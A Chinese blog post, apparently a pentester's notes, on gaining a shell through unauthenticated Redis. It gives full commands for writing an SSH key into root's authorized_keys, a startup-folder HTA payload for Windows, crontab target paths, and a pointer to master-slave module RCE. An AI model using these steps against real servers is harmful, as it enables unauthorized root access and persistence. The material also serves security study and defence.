当前位置: 首页 > news >正文

redis getshell方法

前言

参考文章
https://paper.seebug.org/1169
https://blog.csdn.net/weixin_55843787/article/details/123829606
https://blog.csdn.net/chenglanqi6606/article/details/100909518

Redis是什么

Redis是一款基于键值对的NoSQL数据库,它的值支持多种数据结构

常见方法

1、通过向Web目录中写webshell的方式进行getshell

2、通过写SSH key的方式进行getshell

3、通过写corntab的方式进行getshell

SSH Key

linux 系统使用 ssh 的用户目录下都会有一个隐藏文件夹/.ssh/。

只要把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接就不需服务器的账号密码了

第1步:本地生成公钥文件

ssh-keygen–trsa

第2步:将生成的公钥写入到文件中

(echo -e “\n\n\n\n”; cat id_rsa.pub; echo -e “\n\n\n\n”) > pub.txt

第3步:设置路径、文件、写入公钥

config set dir /root/.ssh/
config set dbfilename “authorized_keys”
config set 233 “xxxx”
save

第4步:连接

ssh -i id_rsa root@xxx.xxx.xxx.xxx

计划任务

Windows

在 Windows 系统中有一个特殊的目录,在这个目录下的文件在开机的时候都会被运行。

<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

我把这段JS执行 calc 命令的代码写到了该目录下

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta

当系统启动时就会随之运行,从而执行攻击者的恶意代码。

linux:corntab

在 linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。

/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/crontab
/etc/cron.d/xxx

注意:有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务。

主从复制 RCE

如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写C语言并编译出 .so 文件。

漏洞复现参考文章:
https://blog.csdn.net/weixin_44971640/article/details/128117510

http://www.lryc.cn/news/33252.html

相关文章:

  • 【ONE·C || 程序编译简述】
  • MGAT: Multimodal Graph Attention Network for Recommendation
  • 在SNAP中用sentinel-1数据做InSAR测量,以门源地震为例
  • MySQL常用函数
  • 51单片机数字电子钟开题报告
  • day7 HTTP协议
  • 3DCAT+一汽奥迪:共建线上个性化订车实时云渲染方案
  • yii2项目使用frp https2http插件问题
  • 关于 interface{} 会有啥注意事项?下
  • ansible组件介绍和简单playbook测试
  • [数据结构]:13-插入排序(顺序表指针实现形式)(C语言实现)
  • es6 new Promise
  • Python爬虫实战:使用Requests和BeautifulSoup爬取网页内容
  • 质量指标——什么是增量覆盖率?它有啥用途?
  • Hive---拉链表
  • 日常文档标题级别规范
  • C++学习记录——십이 vector
  • Lombok常见用法总结
  • 【Ajax】异步通信
  • 近红外吸收荧光染料IR-808,IR-808 NH2,IR-808 amine,发射808nm 性质分享
  • 一图来看你需要拥有那些知识储备
  • 复位和时钟控制(RCC)
  • OpenWrt 专栏介绍00
  • udk开发-稀里糊涂
  • Java之内部类
  • 【MyBatis】篇二.MyBatis查询与特殊SQL
  • CE认证机构和CE证书的分类
  • Lesson 8.2 CART 分类树的建模流程与 sklearn 评估器参数详解
  • 【Unity】程序集Assembly模块化开发
  • 马尔可夫决策过程